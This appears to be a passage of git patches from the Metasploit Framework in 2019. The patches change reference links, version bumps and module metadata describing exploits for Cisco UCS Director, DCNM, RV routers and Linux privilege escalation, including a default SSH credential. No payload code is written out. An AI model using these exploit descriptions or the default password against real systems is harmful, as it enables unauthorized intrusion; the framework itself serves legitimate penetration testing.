initialize(info = {}) super(update_info(info, From d422a2e4b1f435b729ec1697f2627e65b4a0643a Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 31 Aug 2019 00:18:20 +0700 Subject: [PATCH 094/217] add fd link --- documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md b/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md index a631c26b4e..381f7336ee 100644 --- a/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md +++ b/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md @@ -18,7 +18,7 @@ Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security ## References https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred -FULL_DISC +https://seclists.org/fulldisclosure/2019/Aug/36 https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt From e36308e5bbcf7534fabde159d2c550c79d6f9b13 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 31 Aug 2019 00:18:46 +0700 Subject: [PATCH 095/217] Add FD ref --- modules/exploits/linux/ssh/cisco_ucs_scpuser.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb index 6b7ed139bd..8dde87e702 100644 --- a/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb +++ b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote [ [ 'CVE', '2019-1935' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ], - [ 'URL', 'FULL_DISC' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ] ], 'DefaultOptions' => From 89317ec87ceab80576b960673348d304ffb68368 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 30 Aug 2019 13:32:25 -0500 Subject: [PATCH 096/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 125 ++++++++++++++++++---------------- 1 file changed, 68 insertions(+), 57 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 8530c47541..f420438482 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -50649,63 +50649,6 @@ }, "needs_cleanup": true }, - "exploit_linux/http/cisco_rv130_rmi_rce": { - "name": "Cisco RV130W Routers Management Interface Remote Command Execution", - "fullname": "exploit/linux/http/cisco_rv130_rmi_rce", - "aliases": [ - - ], - "rank": 400, - "disclosure_date": "2019-02-27", - "type": "exploit", - "author": [ - "Yu Zhang", - "Haoliang Lu", - "T. Shiomitsu", - "Quentin Kaiser " - ], - "description": "A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router\n could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.\n\n The vulnerability is due to improper validation of user-supplied data in the web-based management interface.\n An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.\n\n A successful exploit could allow the attacker to execute arbitrary code on the underlying operating\n system of the affected device as a high-privilege user.\n\n RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.\n\n Note: successful exploitation may not result in a session, and as such,\n on_new_session will never repair the HTTP server, leading to a denial-of-service condition.", - "references": [ - "CVE-2019-1663", - "BID-107185", - "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex", - "URL-https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/" - ], - "platform": "Linux", - "arch": "armle", - "rport": 443, - "autofilter_ports": [ - 80, - 8080, - 443, - 8000, - 8888, - 8880, - 8008, - 3000, - 8443 - ], - "autofilter_services": [ - "http", - "https" - ], - "targets": [ - "Cisco RV130/RV130W < 1.0.3.45" - ], - "mod_time": "2019-08-02 09:48:53 +0000", - "path": "/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb", - "is_install_path": true, - "ref_name": "linux/http/cisco_rv130_rmi_rce", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - "Stability": [ - "crash-service-down" - ] - }, - "needs_cleanup": true - }, "exploit_linux/http/cisco_rv32x_rce": { "name": "Cisco RV320 and RV325 Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/cisco_rv32x_rce", @@ -50872,6 +50815,74 @@ }, "needs_cleanup": null }, + "exploit_linux/http/cve_2019_1663_cisco_rmi_rce": { + "name": "Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution", + "fullname": "exploit/linux/http/cve_2019_1663_cisco_rmi_rce", + "aliases": [ + "exploit/linux/http/cisco_rv130_rmi_rce" + ], + "rank": 400, + "disclosure_date": "2019-02-27", + "type": "exploit", + "author": [ + "Yu Zhang", + "Haoliang Lu", + "T. Shiomitsu", + "Quentin Kaiser " + ], + "description": "A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall,\n Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router\n could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.\n\n The vulnerability is due to improper validation of user-supplied data in the web-based management interface.\n An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.\n\n A successful exploit could allow the attacker to execute arbitrary code on the underlying operating\n system of the affected device as a high-privilege user.\n\n RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.\n RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.\n RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.\n\n Note: successful exploitation may not result in a session, and as such,\n on_new_session will never repair the HTTP server, leading to a denial-of-service condition.", + "references": [ + "CVE-2019-1663", + "BID-107185", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex", + "URL-https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/" + ], + "platform": "Linux", + "arch": "armle, mipsle", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Cisco RV110W 1.1.0.9", + "Cisco RV110W 1.2.0.9", + "Cisco RV110W 1.2.0.10", + "Cisco RV110W 1.2.1.4", + "Cisco RV110W 1.2.1.7", + "Cisco RV130/RV130W < 1.0.3.45", + "Cisco RV215W 1.1.0.5", + "Cisco RV215W 1.1.0.6", + "Cisco RV215W 1.2.0.14", + "Cisco RV215W 1.2.0.15", + "Cisco RV215W 1.3.0.7", + "Cisco RV215W 1.3.0.8" + ], + "mod_time": "2019-08-30 12:03:43 +0000", + "path": "/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/cve_2019_1663_cisco_rmi_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-service-down" + ] + }, + "needs_cleanup": null + }, "exploit_linux/http/dcos_marathon": { "name": "DC/OS Marathon UI Docker Exploit", "fullname": "exploit/linux/http/dcos_marathon", From 40169c8d422be37f63fc8d34acd3d3aac24e195e Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Fri, 30 Aug 2019 14:02:57 -0500 Subject: [PATCH 097/217] Update to fixed rex-socket Pulls in https://github.com/rapid7/rex-socket/pull/19 --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 5c51e34913..82ddad9f3f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -310,7 +310,7 @@ GEM metasm rex-core rex-text - rex-socket (0.1.17) + rex-socket (0.1.20) rex-core rex-sslscan (0.1.5) rex-core From 378b6854781311abe1632b9f8e9b8a9744710b44 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 30 Aug 2019 14:15:42 -0500 Subject: [PATCH 098/217] Bump version of framework to 5.0.45 --- Gemfile.lock | 2 +- LICENSE_GEMS | 2 +- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 5c51e34913..8999b97b96 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.44) + metasploit-framework (5.0.45) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index a57e409071..983e399e9e 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -53,7 +53,7 @@ loofah, 2.2.3, MIT metasm, 1.0.4, LGPL-2.1 metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.3, "New BSD" -metasploit-framework, 5.0.44, "New BSD" +metasploit-framework, 5.0.45, "New BSD" metasploit-model, 2.0.4, "New BSD" metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.10, "New BSD" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index dea7d79985..6c672adc16 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "5.0.44" + VERSION = "5.0.45" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From b98327472a280bb57e6ab58b132fe4f456cc45e4 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Fri, 30 Aug 2019 15:38:45 -0500 Subject: [PATCH 099/217] Correct realname calls in the cache to fullname --- lib/msf/core/modules/metadata/maps.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/modules/metadata/maps.rb b/lib/msf/core/modules/metadata/maps.rb index 3a9ed73018..95a78e5e4e 100644 --- a/lib/msf/core/modules/metadata/maps.rb +++ b/lib/msf/core/modules/metadata/maps.rb @@ -20,33 +20,33 @@ module Msf::Modules::Metadata::Maps get_metadata.each do |exploit| # expand this in future to be more specific about remote exploits. next unless exploit.type == "exploit" - realname = exploit.realname + fullname = exploit.fullname exploit.references.each do |reference| next if reference =~ /^URL/ ref = reference ref.upcase! mrefs[ref] ||= {} - mrefs[ref][realname] = exploit + mrefs[ref][fullname] = exploit end if exploit.rport rport = exploit.rport mports[rport.to_i] ||= {} - mports[rport.to_i][realname] = exploit + mports[rport.to_i][fullname] = exploit end unless exploit.autofilter_ports.nil? || exploit.autofilter_ports.empty? exploit.autofilter_ports.each do |rport| mports[rport.to_i] ||= {} - mports[rport.to_i][realname] = exploit + mports[rport.to_i][fullname] = exploit end end unless exploit.autofilter_services.nil? || exploit.autofilter_services.empty? exploit.autofilter_services.each do |serv| mservs[serv] ||= {} - mservs[serv][realname] = exploit + mservs[serv][fullname] = exploit end end From ea14054c0dfd869b35b4183f50bd0f565a92ce1f Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 30 Aug 2019 16:09:29 -0500 Subject: [PATCH 100/217] Bump version of framework to 5.0.46 --- Gemfile.lock | 4 ++-- LICENSE_GEMS | 4 ++-- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 8999b97b96..70f7d0c36e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.45) + metasploit-framework (5.0.46) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -130,7 +130,7 @@ GEM aws-sdk-kms (1.24.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sigv4 (~> 1.1) - aws-sdk-s3 (1.47.0) + aws-sdk-s3 (1.48.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.1) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 983e399e9e..9709400292 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -15,7 +15,7 @@ aws-sdk-core, 3.65.1, "Apache 2.0" aws-sdk-ec2, 1.106.0, "Apache 2.0" aws-sdk-iam, 1.29.0, "Apache 2.0" aws-sdk-kms, 1.24.0, "Apache 2.0" -aws-sdk-s3, 1.47.0, "Apache 2.0" +aws-sdk-s3, 1.48.0, "Apache 2.0" aws-sigv4, 1.1.0, "Apache 2.0" backports, 3.15.0, MIT bcrypt, 3.1.12, MIT @@ -53,7 +53,7 @@ loofah, 2.2.3, MIT metasm, 1.0.4, LGPL-2.1 metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.3, "New BSD" -metasploit-framework, 5.0.45, "New BSD" +metasploit-framework, 5.0.46, "New BSD" metasploit-model, 2.0.4, "New BSD" metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.10, "New BSD" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 6c672adc16..b5b4e353a9 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "5.0.45" + VERSION = "5.0.46" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From cd13a83eb2d527706f08eb707c94526778e5b779 Mon Sep 17 00:00:00 2001 From: Tim W Date: Sat, 31 Aug 2019 20:54:18 +0800 Subject: [PATCH 101/217] add arch check --- .../exploits/windows/local/bypassuac_windows_store.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/modules/exploits/windows/local/bypassuac_windows_store.rb b/modules/exploits/windows/local/bypassuac_windows_store.rb index d992caeda3..99e609b981 100644 --- a/modules/exploits/windows/local/bypassuac_windows_store.rb +++ b/modules/exploits/windows/local/bypassuac_windows_store.rb @@ -43,6 +43,7 @@ class MetasploitModule < Msf::Exploit::Local 'References' => [ ['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'], ['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'], + ['URL', 'https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e'], ], ) ) @@ -56,6 +57,15 @@ class MetasploitModule < Msf::Exploit::Local end def exploit + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + end + + # Make sure we have a sane payload configuration + if sysinfo['Architecture'] != payload.arch.first + fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target') + end + check_permissions! case get_uac_level From 3dc68cfaaa2158d5dcd1779492c7f76739ce5325 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 1 Sep 2019 18:51:13 +0000 Subject: [PATCH 102/217] Fix #12262 --- modules/auxiliary/parser/unattend.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index ec15329fdf..8cb512d229 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary ext = "/*.xml" end - if datastore['PATH'].ends_with('.xml') + if datastore['PATH'].ends_with?('.xml') filepath = datastore['PATH'] else filepath = File.join(datastore['PATH'], ext) From 86d6b34da856a1b4843f88a03a3bf763bcc95220 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 2 Sep 2019 10:56:25 -0500 Subject: [PATCH 103/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 253 +++++++++++++++++++++++++++++++++- 1 file changed, 252 insertions(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index f420438482..65d22047de 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -483,6 +483,57 @@ }, "needs_cleanup": false }, + "auxiliary_admin/cisco/cisco_dcnm_download": { + "name": "Cisco Data Center Network Manager Unauthenticated File Download", + "fullname": "auxiliary/admin/cisco/cisco_dcnm_download", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2019-06-26", + "type": "auxiliary", + "author": [ + "Pedro Ribeiro " + ], + "description": "DCNM exposes a servlet to download files on /fm/downloadServlet.\n An authenticated user can abuse this servlet to download arbitrary files as root by specifying\n the full path of the file.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).", + "references": [ + "CVE-2019-1619", + "CVE-2019-1621", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld", + "URL-https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb", + "URL-https://seclists.org/fulldisclosure/2019/Jul/7" + ], + "platform": "", + "arch": "", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2019-08-29 12:15:20 +0000", + "path": "/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb", + "is_install_path": true, + "ref_name": "admin/cisco/cisco_dcnm_download", + "check": false, + "post_auth": true, + "default_credential": true, + "notes": { + }, + "needs_cleanup": false + }, "auxiliary_admin/cisco/cisco_secure_acs_bypass": { "name": "Cisco Secure ACS Unauthorized Password Change", "fullname": "auxiliary/admin/cisco/cisco_secure_acs_bypass", @@ -18352,7 +18403,7 @@ ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-09-01 18:51:13 +0000", "path": "/modules/auxiliary/parser/unattend.rb", "is_install_path": true, "ref_name": "parser/unattend", @@ -50705,6 +50756,59 @@ }, "needs_cleanup": null }, + "exploit_linux/http/cisco_ucs_rce": { + "name": "Cisco UCS Director Unauthenticated Remote Code Execution", + "fullname": "exploit/linux/http/cisco_ucs_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-08-21", + "type": "exploit", + "author": [ + "Pedro Ribeiro " + ], + "description": "The Cisco UCS Director virtual appliance contains two flaws that can be combined\n and abused by an attacker to achieve remote code execution as root.\n The first one, CVE-2019-1937, is an authentication bypass, that allows the\n attacker to authenticate as an administrator.\n The second one, CVE-2019-1936, is a command injection in a password change form,\n that allows the attacker to inject commands that will execute as root.\n This module combines both vulnerabilities to achieve the unauthenticated command\n injection as root.\n It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.\n Note that Cisco also mentions in their advisory that their IMC Supervisor and\n UCS Director Express are also affected by these vulnerabilities, but this module\n was not tested with those products.", + "references": [ + "CVE-2019-1937", + "CVE-2019-1936", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj", + "URL-FULL_DISC", + "URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Cisco UCS Director < 6.7.2.0" + ], + "mod_time": "2019-08-29 19:49:37 +0000", + "path": "/modules/exploits/linux/http/cisco_ucs_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/cisco_ucs_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/http/cpi_tararchive_upload": { "name": "Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability", "fullname": "exploit/linux/http/cpi_tararchive_upload", @@ -59337,6 +59441,53 @@ }, "needs_cleanup": null }, + "exploit_linux/local/ptrace_sudo_token_priv_esc": { + "name": "ptrace Sudo Token Privilege Escalation", + "fullname": "exploit/linux/local/ptrace_sudo_token_priv_esc", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-03-24", + "type": "exploit", + "author": [ + "chaignc", + "bcoles " + ], + "description": "This module attempts to gain root privileges by blindly injecting into\n the session user's running shell processes and executing commands by\n calling `system()`, in the hope that the process has valid cached sudo\n tokens with root privileges.\n\n The system must have gdb installed and permit ptrace.\n\n This module has been tested successfully on:\n\n Debian 9.8 (x64); and\n CentOS 7.4.1708 (x64).", + "references": [ + "EDB-46989", + "URL-https://github.com/nongiach/sudo_inject", + "URL-https://www.kernel.org/doc/Documentation/security/Yama.txt", + "URL-http://man7.org/linux/man-pages/man2/ptrace.2.html", + "URL-https://lwn.net/Articles/393012/", + "URL-https://lwn.net/Articles/492667/", + "URL-https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/", + "URL-https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html" + ], + "platform": "Linux", + "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Auto" + ], + "mod_time": "2019-08-10 07:03:23 +0000", + "path": "/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb", + "is_install_path": true, + "ref_name": "linux/local/ptrace_sudo_token_priv_esc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": true + }, "exploit_linux/local/rc_local_persistence": { "name": "rc.local Persistence", "fullname": "exploit/linux/local/rc_local_persistence", @@ -62027,6 +62178,48 @@ }, "needs_cleanup": null }, + "exploit_linux/ssh/cisco_ucs_scpuser": { + "name": "Cisco UCS Director default scpuser password", + "fullname": "exploit/linux/ssh/cisco_ucs_scpuser", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-08-21", + "type": "exploit", + "author": [ + "Pedro Ribeiro " + ], + "description": "This module abuses a known default password on Cisco UCS Director. The 'scpuser'\n has the password of 'scpuser', and allows an attacker to login to the virtual appliance\n via SSH.\n This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.\n Note that Cisco also mentions in their advisory that their IMC Supervisor and\n UCS Director Express are also affected by these vulnerabilities, but this module\n was not tested with those products.", + "references": [ + "CVE-2019-1935", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred", + "URL-https://seclists.org/fulldisclosure/2019/Aug/36", + "URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 22, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Cisco UCS Director < 6.7.2.0" + ], + "mod_time": "2019-08-31 00:18:46 +0000", + "path": "/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb", + "is_install_path": true, + "ref_name": "linux/ssh/cisco_ucs_scpuser", + "check": false, + "post_auth": true, + "default_credential": true, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/ssh/exagrid_known_privkey": { "name": "ExaGrid Known SSH Key and Default Password", "fullname": "exploit/linux/ssh/exagrid_known_privkey", @@ -66250,6 +66443,64 @@ }, "needs_cleanup": true }, + "exploit_multi/http/cisco_dcnm_upload_2019": { + "name": "Cisco Data Center Network Manager Unauthenticated Remote Code Execution", + "fullname": "exploit/multi/http/cisco_dcnm_upload_2019", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-06-26", + "type": "exploit", + "author": [ + "Pedro Ribeiro " + ], + "description": "DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.\n An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps\n directory and achieve remote code execution as root.\n This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on\n versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct\n directory for the WAR file upload.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).", + "references": [ + "CVE-2019-1619", + "CVE-2019-1620", + "CVE-2019-1622", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex", + "URL-https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb", + "URL-https://seclists.org/fulldisclosure/2019/Jul/7" + ], + "platform": "Java", + "arch": "java", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic", + "Cisco DCNM 11.1(1)", + "Cisco DCNM 11.0(1)", + "Cisco DCNM 10.4(2)" + ], + "mod_time": "2019-08-29 12:42:01 +0000", + "path": "/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb", + "is_install_path": true, + "ref_name": "multi/http/cisco_dcnm_upload_2019", + "check": true, + "post_auth": true, + "default_credential": true, + "notes": { + }, + "needs_cleanup": true + }, "exploit_multi/http/clipbucket_fileupload_exec": { "name": "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload", "fullname": "exploit/multi/http/clipbucket_fileupload_exec", From 4b9e7488828a8046dd4fc7ba352aaa6038c9efc7 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 2 Sep 2019 13:31:30 -0400 Subject: [PATCH 104/217] ktsuss misc fixes --- .../modules/exploit/linux/local/ktsuss_suid_priv_esc.md | 4 +--- modules/exploits/linux/local/ktsuss_suid_priv_esc.rb | 4 ++-- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md b/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md index 6fbda64963..2ce5b01541 100644 --- a/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md +++ b/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md @@ -7,8 +7,6 @@ privileges prior to executing user specified commands, resulting in command execution with `root` privileges. - This module has been tested successfully on: - ## Vulnerable Application @@ -82,7 +80,7 @@ meterpreter > ``` -### tsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64) +### ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64) ``` msf5 > use exploit/linux/local/ktsuss_suid_priv_esc diff --git a/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb b/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb index e13581d08d..f854ee21d0 100644 --- a/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb +++ b/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb @@ -19,9 +19,9 @@ class MetasploitModule < Msf::Exploit::Local This module attempts to gain root privileges by exploiting a vulnerability in ktsuss versions 1.4 and prior. - The `ktsuss` executable is setuid `root` and does not drop + The ktsuss executable is setuid root and does not drop privileges prior to executing user specified commands, - resulting in command execution with `root` privileges. + resulting in command execution with root privileges. This module has been tested successfully on: From 288bb56c7f82f838e4f2f3aa19004e965479cec5 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 2 Sep 2019 12:41:31 -0500 Subject: [PATCH 105/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 43 +++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 65d22047de..3a0c995e23 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -59075,6 +59075,49 @@ }, "needs_cleanup": true }, + "exploit_linux/local/ktsuss_suid_priv_esc": { + "name": "ktsuss suid Privilege Escalation", + "fullname": "exploit/linux/local/ktsuss_suid_priv_esc", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2011-08-13", + "type": "exploit", + "author": [ + "John Lightsey", + "bcoles " + ], + "description": "This module attempts to gain root privileges by exploiting\n a vulnerability in ktsuss versions 1.4 and prior.\n\n The ktsuss executable is setuid root and does not drop\n privileges prior to executing user specified commands,\n resulting in command execution with root privileges.\n\n This module has been tested successfully on:\n\n ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and\n ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64).", + "references": [ + "CVE-2011-2921", + "URL-https://www.openwall.com/lists/oss-security/2011/08/13/2", + "URL-https://security.gentoo.org/glsa/201201-15", + "URL-https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh" + ], + "platform": "Linux", + "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Auto" + ], + "mod_time": "2019-09-02 13:31:30 +0000", + "path": "/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb", + "is_install_path": true, + 